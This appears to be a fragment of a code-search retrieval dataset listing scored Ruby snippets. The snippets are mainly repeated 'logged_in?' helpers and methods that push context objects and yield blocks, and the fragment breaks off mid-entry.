"docid": "658e7ad5f50f9ef9642b454df7de7eb2",
"score": "0.7385513",
"text": "def log_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "f67d49b89f529f7bfdccd9dc7713767f",
"score": "0.7360707",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "f67d49b89f529f7bfdccd9dc7713767f",
"score": "0.7360707",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "f67d49b89f529f7bfdccd9dc7713767f",
"score": "0.7360707",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "f67d49b89f529f7bfdccd9dc7713767f",
"score": "0.7360707",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "f67d49b89f529f7bfdccd9dc7713767f",
"score": "0.7360707",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "f67d49b89f529f7bfdccd9dc7713767f",
"score": "0.7360707",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "f67d49b89f529f7bfdccd9dc7713767f",
"score": "0.7360707",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "f67d49b89f529f7bfdccd9dc7713767f",
"score": "0.7360707",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "f67d49b89f529f7bfdccd9dc7713767f",
"score": "0.7360707",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "f67d49b89f529f7bfdccd9dc7713767f",
"score": "0.7360707",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "1d467cebc27bb3ebdfb01eebc8a4cc40",
"score": "0.7360675",
"text": "def logged_in?\n #pretty easy, just check the session\n current_user != nil\n end",
"title": ""
},
{
"docid": "3cd950a8f229d624f937ea9294ecb540",
"score": "0.7358838",
"text": "def logged_in?\n current_user.present?\n end",
"title": ""
},
{
"docid": "3cd950a8f229d624f937ea9294ecb540",
"score": "0.7358838",
"text": "def logged_in?\n current_user.present?\n end",
"title": ""
},
{
"docid": "3cd950a8f229d624f937ea9294ecb540",
"score": "0.7358838",
"text": "def logged_in?\n current_user.present?\n end",
"title": ""
},
{
"docid": "3cd950a8f229d624f937ea9294ecb540",
"score": "0.7358838",
"text": "def logged_in?\n current_user.present?\n end",
"title": ""
},
{
"docid": "3cd950a8f229d624f937ea9294ecb540",
"score": "0.7358838",
"text": "def logged_in?\n current_user.present?\n end",
"title": ""
},
{
"docid": "3cd950a8f229d624f937ea9294ecb540",
"score": "0.7358838",
"text": "def logged_in?\n current_user.present?\n end",
"title": ""
},
{
"docid": "3cd950a8f229d624f937ea9294ecb540",
"score": "0.7358838",
"text": "def logged_in?\n current_user.present?\n end",
"title": ""
},
{
"docid": "84c2393b9df0a21b7c52a0d6c2649ae8",
"score": "0.7352033",
"text": "def is_logged_in\n !!current_user\n end",
"title": ""
},
{
"docid": "0d09cbe3031d9d4b5840e6434babb730",
"score": "0.7350091",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "b5f15a9fe9e96192e877dd41375aaa6c",
"score": "0.734974",
"text": "def logged_in?\n user_signed_in? || !current_user.nil?\n end",
"title": ""
},
{
"docid": "05c072165c4ab38ab6531845fe0ff6e7",
"score": "0.7343721",
"text": "def ensure_user_logged_in\n end",
"title": ""
},
{
"docid": "1c60effbe54040ea7f86da6e3aec745c",
"score": "0.7342628",
"text": "def logged_in?\n !!logged_in_user\n end",
"title": ""
},
{
"docid": "1c60effbe54040ea7f86da6e3aec745c",
"score": "0.7342628",
"text": "def logged_in?\n !!logged_in_user\n end",
"title": ""
},
{
"docid": "1c60effbe54040ea7f86da6e3aec745c",
"score": "0.7342628",
"text": "def logged_in?\n !!logged_in_user\n end",
"title": ""
},
{
"docid": "e16bd350c1aacf247aea8c872a08e1a6",
"score": "0.73421496",
"text": "def logged_in?\n logged_in_user.present?\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
},
{
"docid": "502628fb1c31f8ea20e3ae1733fab392",
"score": "0.73420054",
"text": "def logged_in?\n !!current_user\n end",
"title": ""
}
] |
6f27134ba8108c6313e60f3684ec810f
|
Pushes some context objects and yields block
|
[
{
"docid": "eda5b323b57c398ab3ad94d4bd39b94c",
"score": "0.55689484",
"text": "def with(hash) \n @state = @state.push(current_mode)\n hash.each_pair {|k,v| @state[k]=v}\n r = block_given? ? yield(self, context_node) : nil\n @state = @state.pop\n r\n end",
"title": ""
}
] |
[
{
"docid": "bb5729f5f9496ddf193976a724f2711d",
"score": "0.71936667",
"text": "def in_context(&block)\n ctx = self.merge\n yield ctx\n end",
"title": ""
},
{
"docid": "37a5bf9a3bc741712aa458a1c597272f",
"score": "0.7114739",
"text": "def with(context, &block)\n ctx = self.merge(context)\n ret = []\n begin\n ret = yield ctx\n ensure\n ctx.clean_up\n end\n ret\n end",
"title": ""
},
{
"docid": "ab8d23288d54e384b7032cb56e53548e",
"score": "0.69066554",
"text": "def context &block\n FFI.contexts.push self\n out = yield\n FFI.contexts.pop\n out\n end",
"title": ""
},
{
"docid": "684449f9defc3148661e42fbfa087d8e",
"score": "0.6828524",
"text": "def execute_in_context\n old_context = self.context\n self.context = self\n return_object = yield\n self.context = old_context\n return_object\n end",
"title": ""
},
{
"docid": "4ade674c1dad5c78f04e5c539bb8b0ad",
"score": "0.66941553",
"text": "def push(context, &block)\n @has_been_set_up = true\n if block_given?\n save_stack do\n push_to_stack(context)\n block.call\n end\n else\n push_to_stack(context)\n end\n end",
"title": ""
},
{
"docid": "28f1faa4ccfe3e21320c848f5515acf6",
"score": "0.6619853",
"text": "def in_context(&block)\n #old_context = @context.clone\n results = yield\n # Make sure stuff doesn't bleed over...\n @context['this'] = nil\n @context['content'] = nil\n #@context = old_context\n results\n end",
"title": ""
},
{
"docid": "3cfb24e60e3ba235d4d3b0b425ca90de",
"score": "0.657833",
"text": "def context(&block)\n instance_eval(&block)\n end",
"title": ""
},
{
"docid": "27430d89db28f1dd50b9f2a82c3e76db",
"score": "0.65697443",
"text": "def push_context\n @context_stack << [\n @element_map.deep_dup,\n @context_uri.deep_dup,\n @namespace_map.deep_dup,\n @class_map.deep_dup\n ]\n end",
"title": ""
},
{
"docid": "9febae95c15a34833819bcca29b83b92",
"score": "0.6510209",
"text": "def push(context)\n @contexts << context\n end",
"title": ""
},
{
"docid": "70552da59c2b8793d25a2f3ef1158bb4",
"score": "0.6502824",
"text": "def inside_new_context(klass, *args)\n new_context = append_new_context(klass, *args)\n\n orig, self.current_context = current_context, new_context\n yield\n self.current_context = orig\n end",
"title": ""
},
{
"docid": "506c5a332c3fb13af139cd85b8b6c874",
"score": "0.6492371",
"text": "def with_context(ctx, &block)\n @ctx = ctx\n res = yield self\n @ctx = nil\n res\n end",
"title": ""
},
{
"docid": "43e68235a7c1340fb3dec1772695824f",
"score": "0.64895403",
"text": "def within_context\n yield self\n end",
"title": ""
},
{
"docid": "81590391e34981d4926f8062b7d870ea",
"score": "0.6474352",
"text": "def with(context, &blk)\n @context = context\n context.run(&blk)\nend",
"title": ""
},
{
"docid": "2b054ce71a079dc7b57477c2c5895d7c",
"score": "0.64640546",
"text": "def capture(&block)\n result = []\n @mutex.synchronize {\n begin\n connection.options.context = result\n yield(self)\n ensure\n connection.options.context = nil\n end\n }\n result\n end",
"title": ""
},
{
"docid": "ec9458021a0cfed7f80acc1250aaf1dc",
"score": "0.64388174",
"text": "def context(&block)\n if block_given?\n @chain = self.instance_eval(&block)\n end\n\n self\n end",
"title": ""
},
{
"docid": "7333dbe2ba62354f06afac94806fb361",
"score": "0.6429702",
"text": "def push( message )\n context.push(message)\n if block_given?\n begin\n yield\n ensure\n context.pop\n end\n end\n self\n end",
"title": ""
},
{
"docid": "ef4c42afda0acdd48149dc299099a85f",
"score": "0.64230293",
"text": "def with_context(context, &block)\n @context = context || {}\n result = block.call\n @context = {}\n result\n end",
"title": ""
},
{
"docid": "04c2512a389c88a2635e4b98ab4650e2",
"score": "0.6422997",
"text": "def context(&block)\n if block_given?\n @chain = self.instance_eval(&block)\n end\n\n self\n end",
"title": ""
},
{
"docid": "04c2512a389c88a2635e4b98ab4650e2",
"score": "0.6422997",
"text": "def context(&block)\n if block_given?\n @chain = self.instance_eval(&block)\n end\n\n self\n end",
"title": ""
},
{
"docid": "e00a6ac9b25c9987a22fbad02afae8f6",
"score": "0.63682616",
"text": "def set_context(**options)\n keys = options.keys\n previous_context = keys.zip(context.values_at(*keys)).to_h\n update_context(**options)\n yield if block_given?\n ensure\n update_context(**previous_context)\n end",
"title": ""
},
{
"docid": "ac03c1ee3b3dbdde86cc46209d63375c",
"score": "0.635475",
"text": "def push(context, options = {}, &block)\n @has_been_set_up = true\n\n if !context.is_a?(NSManagedObjectContext)\n context = create(context, options)\n elsif options[:named]\n assign_name(options[:named], context)\n end\n\n if block_given?\n save_stack do\n context = push_to_stack(context)\n block.call\n context\n end\n else\n push_to_stack(context)\n end\n end",
"title": ""
},
{
"docid": "14467cc918476e40c6058a0c14c97ac5",
"score": "0.63366956",
"text": "def in_subcontext\n yield Conject.create_object_context(self) if block_given?\n end",
"title": ""
},
{
"docid": "f02f195644db3657378321a09519b656",
"score": "0.62836814",
"text": "def store_context(&block)\n if @object.respond_to?(__method__, true)\n @object.send(__method__, &block)\n else\n super\n end\n self\n end",
"title": ""
},
{
"docid": "896c94b2c91835fff84d024e9c9a70f0",
"score": "0.6264762",
"text": "def each_context(&block)\n return enum_for(:each_context) unless block_given?\n reader = result(@adapter.each_context_sql)\n while reader.next!\n context = unserialize(reader.values[0])\n block.call(context) unless context.nil?\n end\n end",
"title": ""
},
{
"docid": "67ed5f27f0744c4bd572118692cbfb01",
"score": "0.6262131",
"text": "def with_temp\n tmp = @scope.new_temp\n res = yield tmp\n @scope.queue_temp tmp\n res\n end",
"title": ""
},
{
"docid": "402e24b0e8811657640a39d4c351ea1d",
"score": "0.6243664",
"text": "def with_given_context(context, &block)\n Context.with_given_context(context, &block)\n end",
"title": ""
},
{
"docid": "b9ef14010039be454c09952ecc30fd5f",
"score": "0.62415975",
"text": "def contextual(ctx)\n memo = @ctx_object\n @ctx_object = ctx\n result = yield\n @ctx_object = memo\n\n result\n end",
"title": ""
},
{
"docid": "dea5d2e4145cd5d2c3f822b967204058",
"score": "0.6220215",
"text": "def save_context(*what)\n what.each do |stuff_item|\n @_contexts[stuff_item] ||= []\n current_item = @_stuff[stuff_item]\n @_contexts[stuff_item].push current_item\n @_stuff[stuff_item] = case current_item\n when Array\n []\n when Hash\n {}\n else\n nil\n end\n end\n yield\n the_stuff = nil\n what.each do |stuff_item|\n the_stuff = @_stuff[stuff_item]\n @_stuff[stuff_item] = @_contexts[stuff_item].pop\n end\n the_stuff\n end",
"title": ""
},
{
"docid": "ebcea19bcc01ba5bec4a2da25edc7afc",
"score": "0.618073",
"text": "def context(*) end",
"title": ""
},
{
"docid": "eb728efb8774693a0cf9ef46f979cc57",
"score": "0.6167617",
"text": "def with_context(ctx = nil, &block)\n old_ctx = Thread.current[:\"Simple::Workflow.current_context\"]\n\n Thread.current[:\"Simple::Workflow.current_context\"] = Context.new(ctx, old_ctx)\n\n block.call\n ensure\n Thread.current[:\"Simple::Workflow.current_context\"] = old_ctx\n end",
"title": ""
},
{
"docid": "7a90d2c1b00da1b160cebfeb1c9fb5a0",
"score": "0.61236835",
"text": "def in_context(context)\n previous = Thread.current.thread_variable_get(CONTEXT_VAR)\n Thread.current.thread_variable_set(CONTEXT_VAR, Wrap.new(context))\n yield if block_given?\n ensure\n Thread.current.thread_variable_set(CONTEXT_VAR, previous)\n end",
"title": ""
},
{
"docid": "daee05cc2da1f276b504df1309321fab",
"score": "0.6102695",
"text": "def with_temp(&block)\n tmp = @scope.new_temp\n res = yield tmp\n @scope.queue_temp tmp\n res\n end",
"title": ""
},
{
"docid": "5ff4d9b18dfe13bc90441e96582a336c",
"score": "0.60950714",
"text": "def context_enter(context, tag)\n if tag.context\n context << tag.context\n end\n end",
"title": ""
},
{
"docid": "f1bbef9c09e6f8575ac7d5b6becc3e1e",
"score": "0.60838497",
"text": "def context(**options)\n\t\t\tcontext = Context::Transient.new(@pool, **options)\n\t\t\t\n\t\t\treturn context unless block_given?\n\t\t\t\n\t\t\tbegin\n\t\t\t\tyield context\n\t\t\tensure\n\t\t\t\tcontext.close\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "1366d218a7f9809533d248a88876974d",
"score": "0.6046001",
"text": "def context\n extract_ids\n apply_builders\n @ctx\n end",
"title": ""
},
{
"docid": "8c842d18cf33a552f152e2e82b2dc893",
"score": "0.6043962",
"text": "def in_context\n old_context = self.context\n self.context = self\n yield\n self.context = old_context\n end",
"title": ""
},
{
"docid": "e534ff9c2abe1f0e236cec5e21825de7",
"score": "0.6040843",
"text": "def push(*values)\n @context.push(*values)\n end",
"title": ""
},
{
"docid": "4a05cfb346f407604596f46fbddaf1b6",
"score": "0.59932256",
"text": "def curry_with_context(*args,&ruby_block)\n return proc do |cxt,*new_args|\n cxt.instance_exec(*(args+new_args),&ruby_block)\n end\n end",
"title": ""
},
{
"docid": "46536dae7fa500c1ac59a1906d359afc",
"score": "0.5980828",
"text": "def with(**ctx, &block)\n old_local, @local = @local, ctx\n instance_eval(&block)\n ensure\n @local = old_local\n end",
"title": ""
},
{
"docid": "f42605a302b5e00331a8109d99c16efa",
"score": "0.5967915",
"text": "def scope(*values, &block)\n before = @context.clone\n push(*values)\n block.call\n ensure\n @context = before\n end",
"title": ""
},
{
"docid": "57adb22fe936e8907d91c9fc11af50b6",
"score": "0.5942012",
"text": "def forge(_)\n yield if block_given?\n end",
"title": ""
},
{
"docid": "b613121aeb82cb025dd547ac1d1be379",
"score": "0.59403574",
"text": "def provide_context()\n Scanner::Artifacts::Name.in_grammar(@context_grammar_name) do\n yield( self )\n end\n end",
"title": ""
},
{
"docid": "136983bba469793d74c4b90e011f06c5",
"score": "0.5925466",
"text": "def context(ctx)\n end",
"title": ""
},
{
"docid": "b19537977eccca28e46910e5cad40607",
"score": "0.5918242",
"text": "def each_context()\n current = @parent\n while current\n yield(current)\n current = current.parent\n end\n end",
"title": ""
},
{
"docid": "afa6b1226f1ad6867803a7223578ca14",
"score": "0.59100384",
"text": "def scope\n\n context = Repository.context\n \n context << self # Adds itself to the context\n \n begin \n yield self # \n ensure\n context.pop\n end\n \n end",
"title": ""
},
{
"docid": "aea8aed55ef94a36a4103fc0044a3dc8",
"score": "0.5889277",
"text": "def scope\n Repository.context << self\n\n begin\n yield self\n ensure\n Repository.context.pop\n end\n end",
"title": ""
},
{
"docid": "42daf362ab8bc868cd669c7bd12c929e",
"score": "0.58829045",
"text": "def beginIteration(context) end",
"title": ""
},
{
"docid": "906a9825fc25e95152e281ec5120ff35",
"score": "0.5881275",
"text": "def in_context name\n (@convert_context ||= []).push name\n result = yield\n @convert_context.pop\n result\n end",
"title": ""
},
{
"docid": "10af79e20bddb407615b8bab8a3cf823",
"score": "0.58768415",
"text": "def stack(&block)\n push\n begin\n result = yield\n ensure \n pop\n end\n result \n end",
"title": ""
},
{
"docid": "c2d043af22748a14796dd312a82746b8",
"score": "0.587558",
"text": "def next_contexts\n @state.next_states(@already_seen) do |next_move, next_state|\n yield Context.new(next_state, @already_seen, @moves + [next_move])\n end\n end",
"title": ""
},
{
"docid": "34c1a8e08670f5189ecccf2ed4cb4d10",
"score": "0.58650815",
"text": "def with_current(ctx)\n token = attach(ctx)\n yield ctx\n ensure\n detach(token)\n end",
"title": ""
},
{
"docid": "f7e10646d29a2bef51df82fe94226754",
"score": "0.5856124",
"text": "def push(context)\n raise NotImplementedError.new(\"must be overridden\")\n end",
"title": ""
},
{
"docid": "6e6a5080eaf547f827e4a4b7b952a3b4",
"score": "0.58448315",
"text": "def _mongoid_push_atomic_context\n return unless executing_atomically?\n @atomic_context = {}\n @atomic_updates_to_execute_stack << @atomic_context\n end",
"title": ""
},
{
"docid": "11311fcb2d7810ce70d81ca4ddcf2adc",
"score": "0.58250946",
"text": "def push(context)\n @queue << context\n true\n end",
"title": ""
},
{
"docid": "f70858c250772fa6bab7a8df992d37ac",
"score": "0.582088",
"text": "def context(nodes, &block)\n nodes = nodes.first.is_a?(Matcher) ? nodes.first : WhitelistMatcher.new(nodes)\n @contexts << context = { nodes: nodes, block: block }\n\n # Evaluate the new context for existing nodes\n each { |node| eval_context(context, node) }\n\n context\n end",
"title": ""
},
{
"docid": "25244f79edbba9388641594a71b72353",
"score": "0.581769",
"text": "def setup(&block)\n default_context.setup(&block)\n end",
"title": ""
},
{
"docid": "4fd463821f8c1faa0cf70044a61c489d",
"score": "0.58150953",
"text": "def on_yield(arguments); end",
"title": ""
},
{
"docid": "6242b667d81b5f5adb0e93fc5083239e",
"score": "0.5806345",
"text": "def with_current(ctx)\n prev = ctx.attach\n yield ctx\n ensure\n ctx.detach(prev)\n end",
"title": ""
},
{
"docid": "22b649bbceefa94b6d70a51474e392e2",
"score": "0.5800574",
"text": "def context\n @context ||= create_context\n end",
"title": ""
},
{
"docid": "cd4024c6844db74aea5601e2cfdb9933",
"score": "0.5800093",
"text": "def push_proc(&block)\n proc_stack << block\n end",
"title": ""
},
{
"docid": "f05456bf690664c84e10f83f0c741eac",
"score": "0.57960296",
"text": "def context(&block)\n Evaluator::Context.new(self, &block)\n end",
"title": ""
},
{
"docid": "7a2cb0bd619f2f949fe71c9a854f1e62",
"score": "0.5794603",
"text": "def batch\n yield if block_given?\n end",
"title": ""
},
{
"docid": "bcdda1715363f05d42cd8cbba3ef2a2f",
"score": "0.57900316",
"text": "def new(&block)\n Context.new(&block)\n end",
"title": ""
},
{
"docid": "9f442257717daec9d875b76a24226114",
"score": "0.57827026",
"text": "def for_each_context(&block)\n # In root context.\n Respect::Schema.define {|s| instance_exec(s, &block) }\n # In all contexts.\n {\n :hash => [\n nil,\n :extra,\n ],\n :array => [\n nil,\n :items,\n :extra_items,\n ]\n }.each do |ctxt, sub_ctxts|\n sub_ctxts.each do |sub_ctxt|\n Respect::Schema.define do |s|\n s.__send__(ctxt) do |s|\n if sub_ctxt\n s.__send__(sub_ctxt) do |s|\n instance_exec(s, &block)\n end\n else\n instance_exec(s, &block)\n end\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "e649a661d795cd9e11d0354646d50e17",
"score": "0.57711047",
"text": "def initialize(**ctx, &block)\n @block = ctx.empty? ? block : proc { with(ctx, &block) }\n end",
"title": ""
},
{
"docid": "5d2696761a7cdfc5d787aaa45b944404",
"score": "0.5764699",
"text": "def liftM( context )\n if block_given?\n yield( context.purify ).contextify\n else\n context\n end\n end",
"title": ""
},
{
"docid": "15b7ba7c78b02ad1018ca3ea5136f7f5",
"score": "0.57552075",
"text": "def store_context(context)\n\n end",
"title": ""
},
{
"docid": "fc05eef6a156fed3048538a9d974f4d5",
"score": "0.5754179",
"text": "def run(&block)\n push_proc(&block)\n end",
"title": ""
},
{
"docid": "0ae661c4bad958bc8c77d560b632964c",
"score": "0.5732802",
"text": "def process(&block)\n self.processes << Proc.new do |cmd, args|\n catch(:failure) do\n create_context(cmd).instance_exec(*args, &block)\n end\n end\n end",
"title": ""
},
{
"docid": "72ed2bc3ba97d792bebd6c96207fa115",
"score": "0.57317436",
"text": "def run\r\n @ctx.call(self,&@blk) if @blk\r\n end",
"title": ""
},
{
"docid": "701ac0c4b1f4a5be22e220ccd5b3d4b4",
"score": "0.57308006",
"text": "def in_context name\n (@convert_context ||= []).push name\n result = yield\n @convert_context.pop\n result\n end",
"title": ""
},
{
"docid": "6c9a605185c80e70a70de06bed539e33",
"score": "0.57271945",
"text": "def context\n @context ||= {}\n end",
"title": ""
},
{
"docid": "23f3c0514d0b1f950e7bb9a6975fbdcc",
"score": "0.5717193",
"text": "def with_context(name, aliases: [])\n @context = @context.add(name, aliases: aliases)\n yield\n ensure\n @context = @context.parent\n end",
"title": ""
},
{
"docid": "06f696897028c3067188c9f7980460a4",
"score": "0.5699779",
"text": "def call(&block)\n context_binding = context.instance_eval { ::Kernel.binding }\n\n erb.result context_binding, &block\n end",
"title": ""
},
{
"docid": "8a0d1650fd2b37b227629cf61d834c36",
"score": "0.5679298",
"text": "def add_context(context)\n\t\t\t@contexts << context\n\t\tend",
"title": ""
},
{
"docid": "47db5b6020a687de63811bb2014043c7",
"score": "0.5678222",
"text": "def create_shared_context(&block)\n make(nil, evaluator, &block)\n end",
"title": ""
},
{
"docid": "4f5c5a1d7ab81abbdb34db0aa81c765b",
"score": "0.5673118",
"text": "def context(_proc=nil, &_block)\n @profile.context = _proc || _block\n end",
"title": ""
},
{
"docid": "4cb49f1735df340072c4325625fd4aaf",
"score": "0.5666237",
"text": "def with(segments, &block)\n @stack.push(segments)\n retval = yield\n @stack.pop\n retval\n end",
"title": ""
},
{
"docid": "d355640bd5fe6f62572be3a99b87a16b",
"score": "0.56613106",
"text": "def run_with_threads\n #TODO: use a thread pool\n yield\n end",
"title": ""
},
{
"docid": "afc41fb7577c90accb38789ee385a3bc",
"score": "0.5657544",
"text": "def propagation_context(sources)\n current_sources = @propagation_sources\n raise InternalError, \"not in a gathering context in #propagation_context\" unless in_propagation_context?\n\n @propagation_sources = sources\n yield\n ensure\n @propagation_sources = current_sources\n end",
"title": ""
},
{
"docid": "828f1f81d081c7a9d699645566d14975",
"score": "0.56458914",
"text": "def map_with_context(&block)\r\n ctx = ProgramContext.new\r\n\r\n map_result = self.map do |cmd|\r\n if block_given?\r\n r = yield(cmd, ctx)\r\n else\r\n r = cmd\r\n end\r\n\r\n if cmd.is_a? MoveRapid or cmd.is_a? MoveByFeedrate\r\n ctx.update_position cmd.position\r\n ctx.update_feedrate cmd.feedrate\r\n elsif cmd.is_a? ProgramCoordinatesAreMm\r\n ctx.units = :mm\r\n elsif cmd.is_a? ProgramCoordinatesAreInches\r\n ctx.units = :inch\r\n elsif cmd.is_a? AbsoluteProgrammingOfXYZ\r\n ctx.absolute = true\r\n elsif cmd.is_a? IncrementalProgrammingOfXYZ\r\n ctx.absolute = false\r\n end\r\n\r\n r\r\n end\r\n\r\n [map_result, ctx]\r\n end",
"title": ""
},
{
"docid": "9d302bf792d399d1b76180246a67abab",
"score": "0.5635402",
"text": "def with_context(scenario)\n res = nil\n\n Sentry.with_scope do |scope|\n scope.set_tags(etsource_tags)\n scope.set_extras(extra_context(scenario))\n\n res = yield\n end\n\n res\n end",
"title": ""
},
{
"docid": "97a563619dd5fbf541632bf08aaa64fc",
"score": "0.56308866",
"text": "def attach(context)\n s = stack\n s.push(context)\n s.size\n end",
"title": ""
},
{
"docid": "a4e771996f7ba1d32a6b65f05b106af1",
"score": "0.56255215",
"text": "def context(&block)\n # Include the context\n context = @context\n machine.owner_class.class_eval { include context }\n\n # Evaluate the method definitions and track which ones were added\n old_methods = context_methods\n context.class_eval(&block)\n new_methods = context_methods.to_a.select { |(name, method)| old_methods[name] != method }\n\n # Alias new methods so that the only execute when the object is in this state\n new_methods.each do |(method_name, _method)|\n context_name = context_name_for(method_name)\n context.class_eval <<-end_eval, __FILE__, __LINE__ + 1\n alias_method :\"#{context_name}\", :#{method_name}\n def #{method_name}(*args, &block)\n state = self.class.state_machine(#{machine.name.inspect}).states.fetch(#{name.inspect})\n options = {:method_missing => lambda {super(*args, &block)}, :method_name => #{method_name.inspect}}\n state.call(self, :\"#{context_name}\", *(args + [options]), &block)\n end\n end_eval\n end\n\n true\n end",
"title": ""
},
{
"docid": "6b0864a15556a3fe1e25fad7e56c4e93",
"score": "0.5616692",
"text": "def v8_context\n V8::C::Locker() do\n context = V8::Context.new\n context.eval(source)\n yield context\n end\n end",
"title": ""
},
{
"docid": "0cdfc5763110b60ad1ad85dd7c47a301",
"score": "0.5608017",
"text": "def include_context(name, *args, &block); end",
"title": ""
},
{
"docid": "e2ef65cc2f9b7507fc64364041788b02",
"score": "0.5599085",
"text": "def using\n return unless block_given?\n\n before = Thread.current[THREAD_KEY]\n begin\n Thread.current[THREAD_KEY] = self\n yield\n ensure\n Thread.current[THREAD_KEY] = before\n end\n end",
"title": ""
},
{
"docid": "3a1dcd133a56e27b3b812f3b3e1124ac",
"score": "0.55967456",
